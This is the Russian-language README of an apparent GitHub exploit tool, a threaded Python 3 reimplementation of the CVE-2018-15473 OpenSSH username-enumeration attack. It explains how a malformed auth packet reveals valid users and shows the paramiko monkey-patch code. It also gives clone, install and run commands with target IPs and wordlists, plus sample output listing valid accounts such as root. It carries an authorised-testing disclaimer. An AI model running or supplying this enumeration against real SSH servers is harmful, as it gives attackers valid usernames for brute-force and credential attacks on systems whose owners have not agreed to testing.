
Реализация на Python 3 классического эксплойта для перечисления пользователей OpenSSH (CVE-2018-15473), расширенная поддержкой многопоточности, wordlist, автоматического обнаружения уязвимости и потокобезопасного патчинга эксплойта.
Репликация на Python 3 классического эксплойта перечисления пользователей OpenSSH CVE-2018-15473, расширенная многопоточностью, поддержкой wordlist, автоматическим обнаружением уязвимости и потокобезопасным патчем эксплойта.
CVE-2018-15473 — это уязвимость перечисления пользователей, затрагивающая версии OpenSSH с 2.3 по 7.7.
Уязвимость возникает из-за тонкой разницы в том, как сервер OpenSSH реагирует на попытки аутентификации для существующих и несуществующих имен пользователей. Отправляя некорректный пакет аутентификации с открытым ключом, злоумышленник может наблюдать за поведением сервера и определить, существует ли данное имя пользователя в системе — без необходимости знать пароль пользователя.
Эта информация может стать важным первым шагом в целенаправленной атаке методом перебора или подбора учётных данных.
| Деталь | Значение |
|---|---|
| CVE ID | CVE-2018-15473 |
| Затронутые версии | OpenSSH 2.3 – 7.7 |
| Оценка CVSS | 5.3 (Средний) |
Обычно процесс аутентификации OpenSSH выглядит так:
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
Эксплойт злоупотребляет стадией MSG_SERVICE_ACCEPT. Когда сервер отправляет обратно MSG_SERVICE_ACCEPT, клиент должен добавить логическое поле в последующий пакет MSG_USERAUTH_REQUEST. Заменив метод Message.add_boolean в paramiko на пустую операцию, инструмент отправляет некорректный/усечённый пакет аутентификации.
Сервер OpenSSH ведёт себя по-разному в зависимости от того, существует ли имя пользователя:
MSG_USERAUTH_FAILURE (имя не существует, нет смысла проверять ключ)AuthenticationException (он попытался проверить ключ, подтверждая, что пользователь существует)Этот инструмент перехватывает эти два ответа через модифицированные обработчики paramiko (_parse_userauth_failure и _parse_service_accept) и классифицирует каждое имя пользователя соответствующим образом.
Оригинальный PoC патчит add_boolean навсегда, что вызывает состояние гонки при одновременной работе нескольких потоков — потоки мешают друг другу, создавая ложные ошибки SSH negotiation failed. В этой реаллизации патч обёрнут в threading.Lock(), что делает замену атомарной:
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap для проверки, запущена ли на цели уязвимая версия OpenSSH перед сканированиемparamikopython-nmapnmap (системный бинарный файл, должен быть установлен)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Создайте и активируйте виртуальное окружение (рекомендуется)
python3 -m venv venv
source venv/bin/activate
# Установите зависимости
pip install paramiko python-nmap
Убедитесь, что nmap установлен в системе:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
Проверка одного имени пользователя:
python main.py 192.168.1.10 -u root
Перечисление wordlist с потоками по умолчанию:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
Перечисление с пользовательским количеством потоков и портом:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
Пример вывода:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
Этот инструмент представляет собой реаллизацию на Python 3 и расширение оригинального доказательства концепции эксплойта. Полная заслуга в обнаружении и документировании этой уязвимости принадлежит оригинальным исследователям:
Оригинальный эксплойт: https://leapsecurity.io
Эта реаллизация добавляет:
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение.
Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным и неэтичным.
Автор не несёт ответственности за любое неправильное использование данного программного обеспечения.
Всегда практикуйте ответственное раскрытие информации.
| Тип | Раскрытие информации / Перечисление пользователей |
| Требуется аутентификация | Нет |
| Роль |
|---|
| Имя / Псевдоним |
|---|
| Автор оригинального PoC | Leap Security (@LeapSecurity) |
| Исследователь уязвимости | Matthew Daley |
| Исследователь уязвимости | Justin Gardner |
| Исследователь уязвимости | Lee David Painter |